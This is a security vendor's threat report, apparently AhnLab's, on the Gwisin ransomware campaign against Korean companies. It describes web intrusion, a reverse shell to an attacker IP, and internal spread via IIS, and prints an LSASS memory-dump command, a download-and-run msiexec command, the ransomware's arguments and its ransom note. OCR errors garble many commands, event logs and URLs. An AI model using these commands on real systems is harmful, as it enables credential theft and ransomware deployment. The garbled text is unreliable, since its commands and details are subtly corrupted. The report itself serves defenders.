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The attacker of Gwisin ransomware targets and penetrates the publicly available servers of companies. They then
use the server as their foothold for distributing the ransomware into the internal infrastructure. It is known that the
attacker uses various means such as SFTP, WMI, integrated management solution, and 1IS web service to distribute
the ransomware into the internal infrastructure. In this confirmed case, they used the IIS web service to distribute
Gwisin ransomware.

How Gwisin Attacker Penetrates a Server

Unlike other attackers who use spear phishing, watering hole, and other known methods to dominate a PC and obtain
administrator privilege to propagate the virus into a target company’s internal network systems, the Gwisin threat
actor directly performs the web hacking attack to penetrate into the web servers. As such, companies must check for
web vulnerabilities and fortify the security of connected DBs to defend against web hacking attacks.

It appears that the attacker attempts to steal system account info prior to distributing the ransomware. They scan and
perform SQL injection attack on publicly-exposed web servers.

Among the traces of the attack, an attack code of SQL Injection, written for use against an MS SQL server, was found
in a Linux server. This hints that the attacker is indiscriminately attacking the servers using automated offense tools.

Figure. SQL injection attack

code of the Gwisin attacker found in Linux server

It has been confirmed that the attacker uses WebShell following after a successful attack on a web server. Some
cases involve WebShell inserted into a PHP file. In other cases, independent WebShell files were created. However,
the techniques of inserting WebShell code into the existing file or uploading the file have not yet been identified.
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Additionally, the attacker uses a Reverse Shell code written with Python to establish a reverse connection. It was
discovered that the attacker adds service_issue() function performing the roll of Reverse Shell to the init type of Linux
shell script existing inside the system. The attacker creates a TCP socket through the function, connects to the
attacker server (158.247.221.23:80), and runs sh to provide the attacker with Linux shell.

BlFigure. Reverse Shell code inserted

by the attacker
What the Attacker Does After Penetrating into Server

After dominating a Linux system, the attacker uses RPM to install NMAP. They then perform multiple port scans on
the internal systems to identify additional attack targets.
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Figure. History of NMAP execution
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How the Attacker Moves Inside the Internal Server

The attacker, after dominating the Windows system of the internal network, registers a service that perform Full
Memory Dumping on the memory of the Isass.exe process to obtain additional credentials. They then secure the
memory dump of the Isass.exe process.

MH A OE sy

ME|ZIZ 0|2 %COMSPEC% /Q /c Cmd.ExE /Q /¢ for /f "tokens=1,2 delims= " ~%A
in ("“tasklist /fi "Imagename eq Isass.exe” | find "Isass™"") do
rundli3 2.exe C:\windows\System32\comsvcs.dll, #+-0000+24 ~%B
\Windows\Temp\4uZ.log full

Figure. Event log for registering Isass.exe dumping service

The attacker then uses the obtained credentials to send reverse connection command to other systems. Among the
target systems that received the command, the systems connected to the Internet are connected to the C2 server. As
a result, the attacker gains direct control over the internal system from the outside.
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Figure. Trace of reverse connection attempted using attacker IP
The attacker then downloads the Gwisin MSI file from the C2 server.
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<bvent xmins = “hitp//schemas microsoft.com/win/ 2004,/08/ events/
event”>

<System >

<Provider Name = "Msiinstaller™ />

<EventiD Qualifiers="0" > 1040 </EventiD>

elevel>d < /Level>

< Taski>0</Task>

< Keywords > 0xD0B0D00000D00000 < fHeywords =

<TimeCreated SystemTime="2022-07- 18T12:48:26.0000000Z" />
<EventRecordiD > 18095 </EventRecordID >

<Channet> Application</Channel> Figure. Event log of the system downloading
«Computer> W . B </Compater>

<Security

UserID="5-1-5-21- Lilfsireiss F 1 | 500 BB L0 9 BE03- 500" />

</System >

<EventData>

<Datashitp// 158 247.221.23/188290ABICEB423F 2B1DDEBBEFBO25F
TRV EDT1B1E8.mai2 9 J00NULLM(NULL)INULLMMNULL) «/Data >

<Binary> </Binary>»

</EventData>

</Event>

ransomware MSI file
How the Attacker Distributes the Ransomware

The attacker installs the IIS web service into the first dominated system and uses it to spread the ransomware to
internal systems of the target company. After installing the IIS web service, the attacker creates the ransomware files
in the web root path (C:\inetpub\wwwroot) and distributes the ransomware.

o Ransomware for Windows: x64_install.msi
o Ransomware for Linux: x64_nix, x86_nix

<EventData>

<Data Name ="ServiceName™>World Wide Web Publishing
Service</Data>

<Data Name = “ImagePath” > %windir%\system32\svchost.exe -k

lissves</Data> Figure. Part of event log for installing of IIS service
<Data Name="ServiceType*>AHE X} R E MH| L </Data>

<Data Name="StartType"> & A%t </Data>

<Data Name="AccountName">localSystem </Data>

</EventData>
The attacker can use the IIS web service in the internal system to easily distribute the ransomware to multiples
systems connected to the domain via AD policy and WMI command. Furthermore, the attacker does not have to
directly access the server that distributes the malware on the Internet. As such, they can successfully distribute the
ransomware into the internal systems without Internet access.

The attacker uses the following command to download and run the ransomware.

cmd.exe /Q fc msiexec /gn /i http://. [x64 install.msi SERTAL

LICENSE ORG SMM=1
Figure. Command for downloading and running ransomware
When the above command is executed, “x64_install.msi,” the ransomware file in the 1IS web route directory, is
downloaded and executed.

Characteristics of Gwisin

To run Gwisin, one must enter the exact arguments.

ImagePath,msiexeec /c i C:\ProgramData)\ msi SERIAL

LICENSE SMM=0 ORG
Figure. Command for running ransomware
The description of each argument is as follows:

o LICENSE: A key that decrypts the encoded ransomware (creates decryption key by combining with SERIAL)
o SERIAL: A key that decrypts the encoded ransomware (creates decryption key by combining with LICENSE)
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* SMM (see Malicious File Analysis Results for details)
o 0: File Encryption Mode
o 1: Safe Mode Boot Mode

When the file is encrypted via the ransomware, an extension similar to the name of the target company is added to
the encrypted file. Additionally, a file with ‘0’ at the end of the extension is also created in the same directory. It
contains information required to restore the original file.

Upon the file encryption, a ransom note is created. The ransom note’s filename and body text contain strings that can
identify the target company. It contains the URL that connects to the attacker’s website, and account and password
that can be used to log in to the website.

1] *n_HOW_TO_UNLOCK, _FILES_| S4B558.TAT - Windows HET - O ®
OEF BEE M40 270 EERH
Hello \ ~

You have been visited by GWISIN,
We have infiltrated your networks and bypassed all of your security products {DRM, DLP, CM5, V3, ...),
We have downloaded a lot of sensitive data from your networks.

This is a very short list just to give you an idea:

- Corporate
- SAP/SFA data
- Full AD clurnp
- PST (email) dumps of high value employees (executives, researchers and athers)
- Persanal and corporate credentials
- Employee personal data (GW)
- Internal DBs

- Sensitive Documents
- Full DRM keys dump
- YRIJFA/DMZ/HQ, it means we can decrypt all Mark&Any (*SAFER) documents and bypass your DREM entirely
- Highly sensitive documents from file servers 1 and other systems/workstations
it's all there.

We recommend that you do MOT restart servers or recovery may be slower.

The good news for you is that we can:

- Decrypt all files with extension * " very quicHy

- Delete all sensitive data we have exfiltrated, instead of selling it
- Remowve all backdoors

- Help you improve your security

- Disappear and not be your problem anymore

All you have to do is follow the instructions:

1.) Download Tor Browser: httpsy/fwww.torpraject.org/download/

2.) Go to our website: httpy//gwisin:23f9d9%eb@qgwisinSvtrnjydbzkbywoeedd5fgSigt2jreyys2plulhdggvaxgbyd.onion
3.) Login with username: . password:

4.) Change password (one time setup)

5.) Setup end-to-end message encryption password

6.) Read the full instructions on the website and contact us using the message system provided there

[WARNING]

Do NOT contact law enforcement (such as NPA, KISA or SMPA) or threat intelligence organizations as they may prevent you from recovering quickly.
They can't really help you and they don't care if your business is destroyed in the process,

Contact us within 72 working hours, so we can negotiate in good faith and resolve this quickly. v

Ln 49, Col 1 100%  Windows (CALF) UTF-8
Figure. Ransom note confirmed from the ransomware-infected system (!!!_HOW_TO_UNLOCK_FILES_!'.TXT)
Gwisin deletes event logs and ransomware files of the system after the file encryption.

For more information on Gwisin’s process flow and characteristics, see ASEC blog’s Gwisin Ransomware Targeting
Korean Companies (https://asec.ahnlab.com/en/37483/).

Malware Used by the Attacker
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MD5 Filename Analysis Results

13eef02d5e5f5543  MSI****.tmp
e83ad8c8a8c8ff9a Gwisin file for Windows which is the DLL file of install_x64.msi

[Ransomware Behavior Details]
If executed with SMM=1

1. Self-Replication

- Copies itself into the following filepath

- C:\ProgramData\a35f23725b5feab2.msi
2. Ransomware Service Creation

- Service Name; *******xxaxanex(16-digit HEX)

* Image Path: msiexec /gn /i C:\ProgramData\***************% mgij
SERIAL=**************** LICENSE=**************** SMM=O ORG=***
3. Copying of bcdedit.exe and Changing Boot Option

- Copies bcdedit.exe to ProgramData folder with a different name (dxdiag.exe)

- Changes default boot mode to safe mode
4. Registering Service to Enable Operation in Safe Mode

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network
5. Reboot

- Reboots as safe mode after 5 seconds
6. Ransomware Operation

95237d0c6e6b1822 x86_nix x86 version file of Gwisin
cecca34994c0d273

[File Detection]

e Ransomware/Win.Gwisin (2022.07.27.03)
o Trojan/Linux.Agent (2022.08.05)

[File MD5]

o 13EEF02D5E5F5543E83AD8C8A8C8FFIA
e 95237D0C6E6B1822CECCA34994C0D273

[IP/URL]
158.247.221[.]23

Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related I0C and
detailed analysis informaion.
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